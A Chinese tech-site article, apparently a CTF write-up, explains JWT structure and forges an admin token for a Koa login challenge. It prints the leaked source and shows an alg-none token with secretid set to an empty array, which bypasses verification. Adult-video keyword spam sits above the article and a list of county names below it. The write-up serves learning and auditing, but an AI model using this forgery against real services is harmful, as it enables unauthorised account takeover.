中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

JWT偽造怎么實現

發布時間:2022-01-12 09:22:24 來源:億速云 閱讀:284 作者:iii 欄目:網絡安全

這篇文章主要講解了“JWT偽造怎么實現”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“JWT偽造怎么實現”吧!

簡單介紹一下什么是JWT

Json web token (JWT), 是為了在網絡應用環境間傳遞聲明而執行的一種基于JSON的開放標準((RFC 7519).該token被設計為緊湊且安全的,特別適用于分布式站點的單點登錄(SSO)場景。JWT的聲明一般被用來在身份提供者和服務提供者間傳遞被認證的用戶身份信息,以便于從資源服務器獲取資源,也可以增加一些額外的其它業務邏輯所必須的聲明信息,該token也可直接被用于認證,也可被加密。

實際像這么一段數據

JWT偽造怎么實現

這串數據以(.)作為分隔符分為三個部分,依次如下:

  • Header

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 解碼為 {   "alg": "HS256",   "typ": "JWT" }
alg屬性表示簽名的算法(algorithm),默認是 HMAC SHA256(寫成 HS256);typ屬性表示這個令牌(token)的類型(type),JWT 令牌統一寫為JWT
  • Payload

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ 
解碼為
 {   "sub": "1234567890",   "name": "John Doe",   "iat": 1516239022 }
JWT 規定了7個官方字段,供選用
iss (issuer):簽發人
exp (expiration time):過期時間
sub (subject):主題
aud (audience):受眾
nbf (Not Before):生效時間
iat (Issued At):簽發時間
jti (JWT ID):編號
  • Signature

Signature 部分是對前兩部分的簽名,防止數據篡改。

首先,需要指定一個密鑰(secret)。這個密鑰只有服務器才知道,不能泄露給用戶。然后,使用 Header 里面指定的簽名算法(默認是 HMAC SHA256),按照下面的公式產生簽名。

HMACSHA256(   base64UrlEncode(header) + "." +   base64UrlEncode(payload),   secret )

算出簽名以后,把 Header、Payload、Signature 三個部分拼成一個字符串,每個部分之間用"點"(.)分隔,就可以返回給用戶。

JWT安全問題一般有以下

  1. 修改算法為none

  2. 修改算法從RS256到HS256

  3. 信息泄漏 密鑰泄漏

  4. 爆破密鑰

首先是一個登錄框,我們先注冊一個賬號admin123,admin123

JWT偽造怎么實現

看題目意思應該是想辦法變成admin來登錄

查看前端代碼js/app.js

/** 
 *  或許該用 koa-static 來處理靜態文件 
 *  路徑該怎么配置?不管了先填個根目錄XD 
 */  
 
function login() {  
    const username = $("#username").val();  
    const password = $("#password").val();  
    const token = sessionStorage.getItem("token");  
    $.post("/api/login", {username, password, authorization:token})  
        .done(function(data) {  
            const {status} = data;  
            if(status) {  
                document.location = "/home";  
            }  
        })  
        .fail(function(xhr, textStatus, errorThrown) {  
            alert(xhr.responseJSON.message);  
        });  
}  
 
function register() {  
    const username = $("#username").val();  
    const password = $("#password").val();  
    $.post("/api/register", {username, password})  
        .done(function(data) {  
            const { token } = data;  
            sessionStorage.setItem('token', token);  
            document.location = "/login";  
        })  
        .fail(function(xhr, textStatus, errorThrown) {  
            alert(xhr.responseJSON.message);  
        });  
}  
 
function logout() {  
    $.get('/api/logout').done(function(data) {  
        const {status} = data;  
        if(status) {  
            document.location = '/login';  
        }  
    });  
}  
 
function getflag() {  
    $.get('/api/flag').done(function(data) {  
        const {flag} = data;  
        $("#username").val(flag);  
    }).fail(function(xhr, textStatus, errorThrown) {  
        alert(xhr.responseJSON.message);  
    });  
}

根據注釋符提示可以發現存在源碼泄露問題

接著發現了源碼泄漏

訪問app.js,controller.js,rest.js即可得到源代碼

關鍵代碼controllers/api.js

const crypto = require('crypto');  
 
const fs = require('fs')  
 
const jwt = require('jsonwebtoken')  
 
 
const APIError = require('../rest').APIError;  
 
 
module.exports = {  
 
    'POST /api/register': async (ctx, next) => {  
 
        const {username, password} = ctx.request.body;  
 
 
        if(!username || username === 'admin'){  
 
            throw new APIError('register error', 'wrong username');  
 
        }  
 
 
        if(global.secrets.length > 100000) {  
 
            global.secrets = [];  
 
        }  
 
 
        const secret = crypto.randomBytes(18).toString('hex');  
 
        const secretid = global.secrets.length;  
 
        global.secrets.push(secret)  
 
 
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});  
 
 
 
        ctx.rest({  
 
            token: token  
 
        });  
 
 
        await next();  
 
    },  
 
 
 
    'POST /api/login': async (ctx, next) => {  
 
        const {username, password} = ctx.request.body;  
 
 
        if(!username || !password) {  
 
            throw new APIError('login error', 'username or password is necessary');  
 
        }  
 
 
 
        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;  
 
 
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;  
 
 
 
        console.log(sid)  
 
 
        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {  
 
            throw new APIError('login error', 'no such secret id');  
 
        }  
 
 
        const secret = global.secrets[sid];  
 
 
        const user = jwt.verify(token, secret, {algorithm: 'HS256'});  
 
 
        const status = username === user.username && password === user.password;  
 
 
        if(status) {  
 
            ctx.session.username = username;  
 
        }  
 
 
        ctx.rest({  
 
            status  
 
        });  
 
 
        await next();  
 
    },  
 
 
    'GET /api/flag': async (ctx, next) => {  
 
        if(ctx.session.username !== 'admin'){  
 
            throw new APIError('permission error', 'permission denied');  
 
        }  
 
 
        const flag = fs.readFileSync('/flag').toString();  
 
        ctx.rest({  
 
            flag  
 
        });  
 
 
        await next();  
 
    },  
 
 
    'GET /api/logout': async (ctx, next) => {  
 
        ctx.session.username = null;  
 
        ctx.rest({  
 
            status: true  
 
        })  
 
        await next();  
 
    }  
 
};

嘗試注冊,可以看到在注冊的時候生成了一個token,并存在sessionStorage中

JWT偽造怎么實現

得到:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbjEyMyIsInBhc3N3b3JkIjoiYWRtaW4xMjMiLCJpYXQiOjE1ODczNzg4MjB9.o5ePpkaTQcSBxmOV-z6hBsWmvvbkd1a_C6Eu7Dpok4Q

解密得到:

JWT偽造怎么實現

token生成過程

const secret = crypto.randomBytes(18).toString('hex');  
const secretid = global.secrets.length;  
global.secrets.push(secret)  
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

看看各種條件,這里會先對sid進行驗證,我們需要繞過這條認證,下面還有一個jwt.verify()的驗證并賦值給user

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;  
console.log(sid)  
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {  
    throw new APIError('login error', 'no such secret id');  
}  
const secret = global.secrets[sid];  
const user = jwt.verify(token, secret, {algorithm: 'HS256'});  
const status = username === user.username && password === user.password;  
.....  
....  
'GET /api/flag': async (ctx, next) => {  
    if(ctx.session.username !== 'admin'){  
        throw new APIError('permission error', 'permission denied');  
    }

這里的密鑰是生成了18位,基本沒有爆破的可能性,我們使用的方法是將算法(alg)設置為none,接著我們需要讓jwt.verify()驗證中的secret為空,這里有個tricks

$ node  
> const secrets = [1,2,3,4]  
undefined  
> const sid = []  
undefined  
> const secret = secrets[sid]  
undefined  
> secret  
undefined

再看看能不能過條件

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
運行結果
> sid < secrets.length  
true  
> sid >= 0  
true  
我們將header修改
原:  
{  
  "alg": "HS256",  
  "typ": "JWT"  
}  
===>  
{  
  "alg": "none",  
  "typ": "JWT"  
}  
并加密為  
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0  
修改payload
{  
  "secretid": 1,  
  "username": "admin123",  
  "password": "admin123",  
  "iat": 1587378820  
}  
===>  
{  
  "secretid": [],  
  "username": "admin",  
  "password": "admin123",  
  "iat": 1587378820  
}  
并加密為  
eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ

最后使用(.)進行拼接得到偽造的token

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ.

修改sessionStorage

JWT偽造怎么實現

接著使用admin,admin123登錄訪問api/flag,即可得到flag

JWT偽造怎么實現

感謝各位的閱讀,以上就是“JWT偽造怎么實現”的內容了,經過本文的學習后,相信大家對JWT偽造怎么實現這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

jwt
AI

五华县| 湛江市| 巫溪县| 汉阴县| 囊谦县| 顺平县| 友谊县| 普兰县| 赣州市| 清水河县| 吉隆县| 郸城县| 交口县| 巴青县| 枞阳县| 红河县| 大连市| 德钦县| 离岛区| 外汇| 吉林市| 万全县| 曲沃县| 南昌市| 永修县| 无棣县| 九江市| 微博| 曲水县| 丹棱县| 拉萨市| 称多县| 裕民县| 廉江市| 太和县| 奈曼旗| 监利县| 普兰店市| 南澳县| 冀州市| 许昌市|